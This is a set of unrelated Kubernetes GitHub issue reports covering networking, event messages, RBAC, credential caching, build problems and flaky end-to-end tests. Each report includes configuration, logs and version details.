<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r i have defined a service thar use externaltrafficpolicy field to preserve source ip of clients requests. the configuration file to this service is as follow:\r \r    \r apiversion: v1\r kind: service\r metadata:\r   labels:\r     name: connector-tcp\r   name: connector-tcp\r spec:\r   ports:\r       the port that this service should serve on.\r     - port: 9955\r       name: apisouth\r       targetport: 9955\r        nodeport: 30955\r       protocol: tcp\r     - port: 9443\r       name: ssl-port-south\r       targetport: 9443\r       protocol: tcp\r     - port: 11112\r       name: rmi-rabbitauth\r       targetport: 11112\r       protocol: tcp\r     - port: 54321\r       name: sigfox\r       targetport: 54321\r       protocol: tcp\r     label keys and values that must match in order to receive traffic for this service.\r   externalips:\r     - \ 172.19.18.72\ \r   selector:\r      app: connector\r   type: loadbalancer\r   externaltrafficpolicy: local\r    \r \r in the dashboard of kubernetes the service appears as follow:\r \r ! image  https://user-images.githubusercontent.com/28434493/30173400-ce1e1aac-93f7-11e7-8836-1ce961ce79c3.png \r \r \r when i send a request to 9955/tcp port from a remote client, i see that the source ip is another that expected.\r \r ! image  https://user-images.githubusercontent.com/28434493/30173326-8909c20e-93f7-11e7-8998-9dc63f5cc1cc.png \r \r \r otherwise, on the coreos host i see the source ip correctly.\r \r ! image  https://user-images.githubusercontent.com/28434493/30173296-7783ae3c-93f7-11e7-9e7f-bd8a97e6790f.png \r \r   what you expected to happen  :\r \r i expected that source ip inside the container must be the client address.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r other component versions:\r calico node: 2.5.1\r calico cni: 1.5.2\r calico kube policy controller: 0.7.0\r calico leader elector: 0.1.0\r flanneld: 0.7.1\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t09:14:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5+coreos.0\ , gitcommit:\ 070d238cd2ec359928548e486a9171b498573181\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t21:28:39z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r private\r \r - os  e.g. from /etc/os-release :\r distrib_id=\ container linux by coreos\ \r distrib_release=1465.6.0\r distrib_codename=\ ladybug\ \r distrib_description=\ container linux by coreos 1465.6.0  ladybug \ \r \r - kernel  e.g.  uname -a  :\r linux coreos002.amplia.int 4.12.7-coreos  1 smp tue aug 15 23:54:56 utc 2017 x86_64 qemu virtual cpu version 2.0.0 genuineintel gnu/linux\r \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :  events shown in  kubectl describe pods <pod_name>  or  kubectl get events  do not mention the container name in the \ created container\ , \ started container\ , etc messages:\r \r    \r events:\r   type    reason                 age   from                                                  message\r   ----    ------                 ----  ----                                                  -------\r   normal  scheduled              43s   default-scheduler                                     successfully assigned multi to gke-test-gtseres-default-pool-8d65594a-f3lk\r   normal  successfulmountvolume  43s   kubelet, gke-test-gtseres-default-pool-8d65594a-f3lk  mountvolume.setup succeeded for volume \ default-token-5vbxl\ \r   normal  pulling                43s   kubelet, gke-test-gtseres-default-pool-8d65594a-f3lk  pulling image \ busybox\ \r   normal  pulled                 42s   kubelet, gke-test-gtseres-default-pool-8d65594a-f3lk  successfully pulled image \ busybox\ \r   normal  created                42s   kubelet, gke-test-gtseres-default-pool-8d65594a-f3lk  created container\r   normal  started                42s   kubelet, gke-test-gtseres-default-pool-8d65594a-f3lk  started container\r   normal  pulling                42s   kubelet, gke-test-gtseres-default-pool-8d65594a-f3lk  pulling image \ redis\ \r   normal  pulled                 36s   kubelet, gke-test-gtseres-default-pool-8d65594a-f3lk  successfully pulled image \ redis\ \r   normal  created                35s   kubelet, gke-test-gtseres-default-pool-8d65594a-f3lk  created container\r   normal  started                35s   kubelet, gke-test-gtseres-default-pool-8d65594a-f3lk  started container\r    \r could not find any related issue using  this  https://github.com/kubernetes/kubernetes/issues?page=1&q=is%3aissue+is%3aopen+%22created+container%22&utf8=%e2%9c%93  and  this  https://github.com/kubernetes/kubernetes/issues?page=1&q=is%3aissue+is%3aopen+describe++%22container+name%22&utf8=%e2%9c%93  search.\r \r   what you expected to happen  : even though one can understand which container the event message refers to, it would be helpful if the container name was included in the event message.\r \r   how to reproduce it  as minimally and precisely as possible   : \r    \r git clone https://github.com/sebgoa/oreilly-kubernetes\r cd oreilly-kubernetes/manifests/01-pod\r kubectl create namespace oreilly\r kubectl apply -f multi.yaml\r kubectl get events -w\r    \r the \ created container\  and \ started container\  events do not include the container name.\r \r   anything else we need to know?  : i guess that the fix, if accepted, can go into the  container event recording part  https://github.com/kubernetes/kubernetes/blob/ae53b7897146a1122bdb16ecb58c05ac18e77569/pkg/kubelet/kuberuntime/kuberuntime_container.go l128 . if you see fit, please let me know and i can give it a try.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.12-gke.1\ , gitcommit:\ f47fa5292f604d07539ddbf7e5840b77d686051b\ , gittreestate:\ clean\ , builddate:\ 2018-05-11t16:56:15z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : macos high sierra 10.13.3\r - kernel  e.g.  uname -a  :  darwin kernel version 17.4.0 \r - install tools:  gcloud  for creating the k8s cluster\r - others: n/a\r

is this a bug report or feature request?  :\r   \r   what happened  :\r pods are not running in slave nodes . \r \r - created the master , added flannel network . \r - created slave node and added it to the cluster by running kubeadm join command\r - node is getting added . able to see it in ready status when i run kubectl get nodes in master .\r - systemctl status kubelet shows  below errors:\r    failed to update status for pod  \r \r > journalctl | grep kubelet\r \r jul 04 08:08:30 10-119-3-74.sample.com kubelet 9208 : w0704 08:08:30.781994    9208 status_manager.go:498  failed to update status for pod \ kube-flannel-ds-zrk9h_kube-system 8ba15399-7f80-11e8-a08b-0ae70e188ecc \ : failed to patch status \ {\\\ status\\\ :{\\\ conditions\\\ : {\\\ lastprobetime\\\ :null,\\\ lasttransitiontime\\\ :\\\ 2018-07-04t11:51:30z\\\ ,\\\ status\\\ :\\\ true\\\ ,\\\ type\\\ :\\\ initialized\\\ },{\\\ lastprobetime\\\ :null,\\\ lasttransitiontime\\\ :\\\ 2018-07-04t11:51:31z\\\ ,\\\ status\\\ :\\\ true\\\ ,\\\ type\\\ :\\\ ready\\\ },{\\\ lastprobetime\\\ :null,\\\ lasttransitiontime\\\ :null,\\\ status\\\ :\\\ true\\\ ,\\\ type\\\ :\\\ containersready\\\ },{\\\ lastprobetime\\\ :null,\\\ lasttransitiontime\\\ :\\\ 2018-07-04t11:51:11z\\\ ,\\\ status\\\ :\\\ true\\\ ,\\\ type\\\ :\\\ podscheduled\\\ } ,\\\ containerstatuses\\\ : {\\\ containerid\\\ :\\\ docker://229e6348472e4cad45e40a59f2b525439df1a62674d06f1f11cc8726e9b000fa\\\ ,\\\ image\\\ :\\\ quay.io/coreos/flannel:v0.10.0-amd64\\\ ,\\\ imageid\\\ :\\\ docker-pullable://quay.io/coreos/flannel@sha256:88f2b4d96fae34bfff3d46293f7f18d1f9f3ca026b4a4d288f28347fcb6580ac\\\ ,\\\ laststate\\\ :{},\\\ name\\\ :\\\ kube-flannel\\\ ,\\\ ready\\\ :true,\\\ restartcount\\\ :0,\\\ state\\\ :{\\\ running\\\ :{\\\ startedat\\\ :\\\ 2018-07-04t11:51:30z\\\ }}} ,\\\ hostip\\\ :\\\ 10.119.3.74\\\ ,\\\ initcontainerstatuses\\\ : {\\\ containerid\\\ :\\\ docker://14c486532d50a27aa07bfbb1991144ee9fd23807864773b8e793a24a72d357d7\\\ ,\\\ image\\\ :\\\ quay.io/coreos/flannel:v0.10.0-amd64\\\ ,\\\ imageid\\\ :\\\ docker-pullable://quay.io/coreos/flannel@sha256:88f2b4d96fae34bfff3d46293f7f18d1f9f3ca026b4a4d288f28347fcb6580ac\\\ ,\\\ laststate\\\ :{},\\\ name\\\ :\\\ install-cni\\\ ,\\\ ready\\\ :true,\\\ restartcount\\\ :0,\\\ state\\\ :{\\\ terminated\\\ :{\\\ containerid\\\ :\\\ docker://14c486532d50a27aa07bfbb1991144ee9fd23807864773b8e793a24a72d357d7\\\ ,\\\ exitcode\\\ :0,\\\ finishedat\\\ :\\\ 2018-07-04t11:51:29z\\\ ,\\\ reason\\\ :\\\ completed\\\ ,\\\ startedat\\\ :\\\ 2018-07-04t11:51:29z\\\ }}} ,\\\ phase\\\ :\\\ running\\\ ,\\\ podip\\\ :\\\ 10.119.3.74\\\ ,\\\ starttime\\\ :\\\ 2018-07-04t11:51:11z\\\ }}\  for pod \ kube-system\ /\ kube-flannel-ds-zrk9h\ : pods \ kube-flannel-ds-zrk9h\  is forbidden: user \ system:node:10-119-3-74.sample.com\  cannot patch pods/status in the namespace \ kube-system\ \r \r \r   what you expected to happen  :\r connect the slave node to cluster and running the pods in the slave nodes without issues.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:26:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.14\ , gitcommit:\ 9d72fafc46543ebdad024b7577012268bab543a7\ , gittreestate:\ clean\ , builddate:\ 2018-06-18t21:52:13z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r aws\r \r - os  e.g. from /etc/os-release : \r name=\ red hat enterprise linux server\ \r version=\ 7.4  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r variant=\ server\ \r variant_id=\ server\ \r version_id=\ 7.4\ \r pretty_name=\ red hat enterprise linux\ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.4:ga:server\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.4\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.4\ \r \r - kernel  e.g.  uname -a  :\r linux 10-119-7-237.sample.com 3.10.0-693.21.1.el7.x86_64  1 smp fri feb 23 18:54:16 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: kubeadm \r \r - others: \r   kubeadm version:\r kubeadm version: &version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:38:10z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r

we should be able to skip pvc protection e2es in environments that don't have any default \r storageclass available  such as baremetal . currently they fail on waiting for default storageclass.\r \r  \r cc @kubernetes/sig-storage-misc \r \r \r

somewhat related to  20661   as of right now, we are only targeting green upgrade tests on gke right now, but as far as i can tell, we have no way to look at master logs of gke e2e runs, for diagnosing things like  20925.  we need to either: 1. get logs from gke masters, 2. target upgrade tests on gce instead of gke, or 3. figure out a workaround so we can get tests green without logs.  as we move toward more test infrastructure targeting gke, this is going to be a recurring issue.  we'll need visibility into what's going on on the gke master.  cc @kubernetes/goog-testing

there are a large number of e2e failures where the cluster fails to come up in 300 seconds, e.g. https://storage.googleapis.com/kubernetes-jenkins/logs/kubernetes-e2e-gce-examples/14127/build-log.txt  \ \ \  waiting up to 300 seconds for cluster initialization.    this will continually check to see if the api for kubernetes is reachable.   this may time out if there was some uncaught error during start up.  ...........................................cluster failed to initialize within 300 seconds. 2016/08/22 07:55:20 e2e.go:453: error running up: exit status 2 2016/08/22 07:55:20 e2e.go:449: step 'up' finished in 9m43.290764216s \ \ \   a bunch of issues:  1  how do we know if 300 seconds is enough time?  should it add another post-failure check period so we can tell if it's slowness vs. complete failure?  2  printing a bunch of dots is insufficient transparency -- what's the status of various components it's checking for?  3  given master vm isn't sshable after 300 seconds, it might be useful to print serial console output of the master after failure  see https://cloud.google.com/compute/docs/reference/beta/instances/getserialportoutput  to see what's going on.  is it the network not getting set up?  sshd not running?  the account setup script not working? and if existing kernel logs that are dumped to serial console aren't enough, maybe setup process should dump more of its logs there too.  anyone interested in helping out here from @kubernetes/sig-cluster-lifecycle ?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r docker privileged securitycontext\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r 1.4.1\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r linux m15 4.4.24-hypriotos-v7+  1 smp preempt tue oct 11 17:15:58 utc 2016 armv7l gnu/linux\r \r   what happened  :\r \r i have a docker image that accesses /sys/devices. when i run the container by hand on that box using the following cmd, the application works as expected.\r \r docker run -it --privileged  fred\r \r however is i set up the same image under kubernetes using the following yaml, the application fail on the very same box. \r \r kind:       deployment\r apiversion: extensions/v1beta1\r metadata:\r   name: fred\r spec:\r   replicas: 1\r   template:\r     spec:\r       containers:\r         - name:  fred\r           securitycontext:\r             privileged: true\r           image: fred\r \r   what you expected to happen  :\r \r setting the podsecuritycontext privilege option works as if i ran the container with docker directly.\r \r perhaps i am missing the intent here, but i was expecting this to work and if not what else do i need to specify to allow the container to access system level resources on the host machine.  i have tried setting the runasuser to root but to no avail. \r \r   how to reproduce it    as minimally and precisely as possible :\r \r sadly not short way to repro + using private docker image \r \r   anything else do we need to know  :\r \r i need to tell kubernetes that this container needs to run with the docker --privileged argument. how does one achieve this behavior.\r

rbac.yaml\r    \r kind: role\r apiversion: rbac.authorization.k8s.io/v1alpha1\r metadata:\r   name: admin-resource-role\r   namespace: default\r rules:\r - apigroups:  \  \  \r   verbs:  \  \  \r   resources:  \  \  \r ---\r kind: rolebinding\r apiversion: rbac.authorization.k8s.io/v1alpha1\r metadata:\r   name:  admin-resource-binding\r   namespace: default\r subjects:\r   - kind: group   may be \ user\ , \ group\  or \ serviceaccount\ \r     name: test\r roleref:\r   kind: role\r   name: admin-resource-role\r    \r step 1: kubectl create rbac.yaml \r step 2: kubectl delete role admin-resource-role \r step 3: kubectl get rolebinding admin-resource-binding -o yaml \r    \r apiversion: rbac.authorization.k8s.io/v1alpha1\r kind: rolebinding\r metadata:\r   creationtimestamp: 2016-11-29t04:30:22z\r   name: admin-resource-binding\r   namespace: default\r   resourceversion: \ 64332\ \r   selflink: /apis/rbac.authorization.k8s.io/v1alpha1/namespaces/default/rolebindings/admin-resource-binding\r   uid: 8a7035bc-b5ec-11e6-8c3a-525400f84377\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: role\r   name: admin-resource-role\r subjects:\r - kind: group\r   name: test\r    \r the result is admin-resource-binding still relate to a invalid role. when use group test  to authorize, will return a internel error. and if recreate the role  admin-resource-role  with different rules, will auto related to the rolebinding, it doesn't seem to make sense.

we should eventually remove/restart nodes that are showing as  not ready \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r - no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r - kubectl \ does not allow access\  \r \r ---\r \r   is this a bug report or feature request?    choose one :\r - bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r     \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:22:15z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:32:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r   - gcp gke 1.4.5\r -   os    e.g. from /etc/os-release :\r   - not sure, using gci\r -   kernel    e.g.  uname -a  :\r   - not sure, using gci\r -   install tools  :\r   - gke web ui\r -   others  :\r   - n/a\r \r \r   what happened  :\r - in juggling multiple gcloud accounts with gke clusters i accidentally used  kubectl  with the wrong application default credentials and it cached bad creds in  ~/.kube/config \r - after pointing gcloud at the right application default credentials and re-running  kubectl , it continued trying and failing to use the bad creds cached in  ~/.kube/config ; at this point i was stuck and confused for a few hours\r - to repair, i had to manually edit  ~/.kube/config  to remove  users  .user.auth-provider.config , and then  kubectl  started working again  or else wait ~1h for the access token to expire and refresh itself \r \r   what you expected to happen  :\r - after pointing gcloud at the right application default credentials  kubectl  should just work, or at least provide an error msg to the user that can help them figure out that they need to revoke the bad access token and how to do it\r \r   how to reproduce it    as minimally and precisely as possible :\r \r good scenario: just works\r    sh\r   avoid calling kubectl with wrong application default credentials\r gcloud auth application-default login   -> auth with user a\r kubectl --context cluster-a version     ok + caches good creds\r gcloud auth application-default login   -> auth with user b\r kubectl --context cluster-b version     ok + caches good creds\r \r   both now work\r kubectl --context cluster-a version     ok, using cached good creds\r kubectl --context cluster-b version     ok, using cached good creds\r    \r \r bad scenario: user makes one mistake and gets stuck\r    sh\r   use kubectl with wrong adc\r gcloud auth application-default login   -> auth with user a\r kubectl --context cluster-a version     ok + caches good creds\r kubectl --context cluster-b version     oops + caches bad creds\r gcloud auth application-default login   -> auth with user b\r kubectl --context cluster-b version     fails, stuck on bad creds cached in ~/.kube/config\r kubectl --context cluster-a version     still works, using cached good creds\r \r   user is now stuck and confused with no clear approach to resolve...\r \r   tada!\r vim ~/.kube/config                      manually remove users  .user.auth-provider.config for cluster-b\r kubectl --context cluster-b version     ok + caches good creds\r \r   both now work\r kubectl --context cluster-a version     ok, using cached good creds\r kubectl --context cluster-b version     ok, using cached good creds\r    \r

so i noticed that bazel on osx is not supported, but if you see the next comment.  i am having issues on centos.\r \r i am working off of master currently. osx with go 1.7.3.\r \r    \r $ bazel version\r build label: 0.4.3-homebrew\r build target: bazel-out/local-opt/bin/src/main/java/com/google/devtools/build/lib/bazel/bazelserver_deploy.jar\r build time: thu dec 22 15:20:22 2016  1482420022 \r build timestamp: 1482420022\r build timestamp as int: 1482420022\r    \r \r i am getting an error:\r \r    \r $ make bazel-build\r ...............\r info: found 3533 targets...\r error: /users/clove/workspace/src/k8s.io/kubernetes/vendor/build:6344:1: null failed: sandbox-exec failed: error executing command /usr/bin/sandbox-exec -f /private/var/tmp/_bazel_clove/ea7383e6725e64521a733fe4f082cc24/bazel-sandbox/9387d9e8-1e95-4111-bea1-3a056c04c862-13/sandbox.sb ...  remaining 1 argument s  skipped .\r k8s.io/kubernetes/vendor/github.com/syndtr/gocapability/capability/capability_linux.go:455: undefined: syscall.pr_capbset_drop\r k8s.io/kubernetes/vendor/github.com/syndtr/gocapability/capability/syscall_linux.go:26: undefined: syscall.sys_capget\r k8s.io/kubernetes/vendor/github.com/syndtr/gocapability/capability/syscall_linux.go:34: undefined: syscall.sys_capset\r k8s.io/kubernetes/vendor/github.com/syndtr/gocapability/capability/syscall_linux.go:51: undefined: syscall.sys_prctl\r info: elapsed time: 29.842s, critical path: 4.87s\r make:      bazel-build  error 1\r    \r \r thoughts?

flaky job: pr:pull-kubernetes-kubemark-e2e-gce  flakes in the past week:   17    consistency:   97.10%         flakiest tests by flake count: | test | flake count | | --- | --- | | kubemark | 13 | | start kubemark | 8 | | up | 6 |    flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

run  kubectl create  with no other argument should return non-zero exit code.\r  steps to reproduce:\r    \r $ kubectl create\r ...\r a lot of help text\r ...\r $ echo $?\r 0\r    \r \r similar issue before: https://github.com/kubernetes/kubernetes/issues/42852\r \r /assign @shiywang \r assign to you per https://github.com/kubernetes/kubernetes/pull/42999 issuecomment-286649323\r \r

pull-kubernetes-e2e-kops-aws is consistently failing on all prs from 1.7 branch, e.g.:\r https://github.com/kubernetes/kubernetes/pull/59164\r https://github.com/kubernetes/kubernetes/pull/59192\r \r otoh, the aws tests on 1.7 branch look pretty healthy:\r https://k8s-testgrid.appspot.com/sig-release-1.7-blocking aws-release-1.7\r \r @justinsb @kubernetes/test-infra-maintainers @kubernetes/sig-aws-misc - can someone please take a look.\r this is blocking next 1.7 patch release.

is this a bug report or feature request?  : bug report\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r testnsenterexistsfile test is failing during make test\r \r   what you expected to happen  :\r the test should have passed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r git clone https://github.com/kubernetes/kubernetes.git\r run make test\r \r   anything else we need to know?  :\r fail logs:\r    \r ok  \tk8s.io/kubernetes/pkg/util/metrics\t0.004s\r --- fail: testnsenterexistsfile  0.01s \r \tnsenter_mount_test.go:343: test \ simple non-accessible file\ : expected error, got none\r \tnsenter_mount_test.go:347: test \ simple non-accessible file\ : expected return value false, got true\r e0731 01:45:42.561381   79766 mount_linux.go:495  format of disk \ /dev/foo\  failed: type: \ ext4\   target: \ /tmp/mount336875516\   options:  \ defaults\   error: formatting failed \r e0731 01:45:42.561927   79766 mount_linux.go:529  could not determine if disk \ /dev/foo\  is formatted  exit 4 \r fail\r fail\tk8s.io/kubernetes/pkg/util/mount\t0.075s\r ok  \tk8s.io/kubernetes/pkg/util/net\t0.002s\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r root@j:~/src/github.com/kubernetes/kubernetes  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r the connection to the server ip:6443 was refused - did you specify the right host or port?\r root@j:~/src/github.com/kubernetes/kubernetes  \r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : \r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r  linux j 4.4.0-130-generic  156-ubuntu smp thu jun 14 08:53:28 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others:\r

what happened  :\r kubelet failed to load rbd plugin when kubelet runs in a container. \r \r   what you expected to happen  :\r kubelet should load all it need in order to process pv related operation sucessfully\r \r   how to reproduce it  as minimally and precisely as possible   :\r use rke to setup a kubernetes cluster. and create pv using rbd \r \r   anything else we need to know?  :\r related issue:  https://github.com/kubernetes-incubator/external-storage/issues/1021 \r \r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r while building a kube-apiserver component from the sources using make, i noticed the output binary is still stripped, even though i put in the suggested gc flags.\r the command i'm running is:\r    bash\r $ make all what=cmd/kube-apiserver gogcflags=\ -n -l\ \r    \r \r    bash\r $ file _output/bin/kube-apiserver\r _output/bin/kube-apiserver: elf 64-bit lsb executable, x86-64, version 1  sysv , statically linked, stripped\r    \r \r the motivation is to get a debug version of a component which is recognisable by delve/gdb.\r \r   what you expected to happen  :\r i expected to get a non-stripped binary.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run make and inspect the  file  command output:\r    bash\r $ make all what=cmd/kube-apiserver gogcflags=\ -n -l\ \r $ file _output/bin/kube-apiserver\r    \r \r   anything else we need to know?  :\r \r i discovered this file: hack/lib/golang.sh, where debug obfuscation and inlining are hardcoded to on:\r    bash\r goldflags=\ ${goldflags:-} -s -w $ kube::version::ldflags \ \r gogcflags=\ ${gogcflags:-} -trimpath=${kube_root}\ \r    \r ld flags -s -w and gc flag -trimpath are producing an optimised inlined binary.\r \r applying this dummy workaround solved my problem: https://gist.github.com/icanhazbroccoli/e98a353284b723815131eb6804fbb33e\r \r   environment  :\r - kubernetes version  use  kubectl version  : head@fcb0d60d4c8\r - cloud provider or hardware configuration: microk8s\r - os  e.g. from /etc/os-release : centos linux 7\r - kernel  e.g.  uname -a  : linux 3.10.0-862.14.4.el7.x86_64\r - install tools:\r - others:\r

are there any plans to implement a setup where a pod could define some prerequisites  e.g. label selectors  for starting?  the problem this would solve is the problem of trying to deploy something all in one go. usually you would  kubectl create -f configs/  to create all the configs for a system. but in many cases certain components have  sub-optimal  requirements to start properly, particularly the first time. for example, an etcd cluster needs  or really _should_ have  the etcd discovery pod to be running before the members start. a distributed job system might have a prerequisite of a running database pod before starting.

defined at https://github.com/kubernetes/kubernetes/blob/62fd60565a4bcc9afed79bc5384f1cd54125aa39/cmd/kube-apiserver/app/options/options.go l70.  doesnt seem to be used anywhere.  cc @deads2k @smarterclayton does redhat use it?  or can we delete it? cc @kubernetes/sig-api-machinery

i'm seeing logs like on 1.5 cluster:\r    \r e0111 09:00:06.466257       5 errors.go:63  apiserver received an error that is not an unversioned.status: unable to parse requirement: invalid label key \ <label key>\ : name part must be no more than 63 characters; name part must match the regex   a-za-z0-9  -a-za-z0-9_.   ? a-za-z0-9   e.g. 'myname' or 'my.name' or '123-abc' \r i0111 09:00:06.466418       5 handlers.go:162  get /api/v1/namespaces/jenkins/pods?labelselector=<label>:  613.07�s  500\r    \r \r we probably should return 400  or maybe 412? , eventually 418. but certainly not 500.\r \r cc @deads2k @lavalamp @wojtek-t @smarterclayton @kubernetes/sig-api-machinery-misc

since 2 days ago, the test is becoming more and more flaky, and one of the examples is:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial-release-1-7/81\r \r    \r  k8s.io  pod disks should be able to detach from a node which was deleted  slow   disruptive   volume  4m1s\r go run hack/e2e.go -v -test --test_args='--ginkgo.focus=pod\\sdisks\\sshould\\sbe\\sable\\sto\\sdetach\\sfrom\\sa\\snode\\swhich\\swas\\sdeleted\\s\\ slow\\ \\s\\ disruptive\\ \\s\\ volume\\ $'\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/pd.go:469\r expected\r     <int>: 2\r to equal\r     <int>: 3\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/pd.go:433from junit_01.xml\r

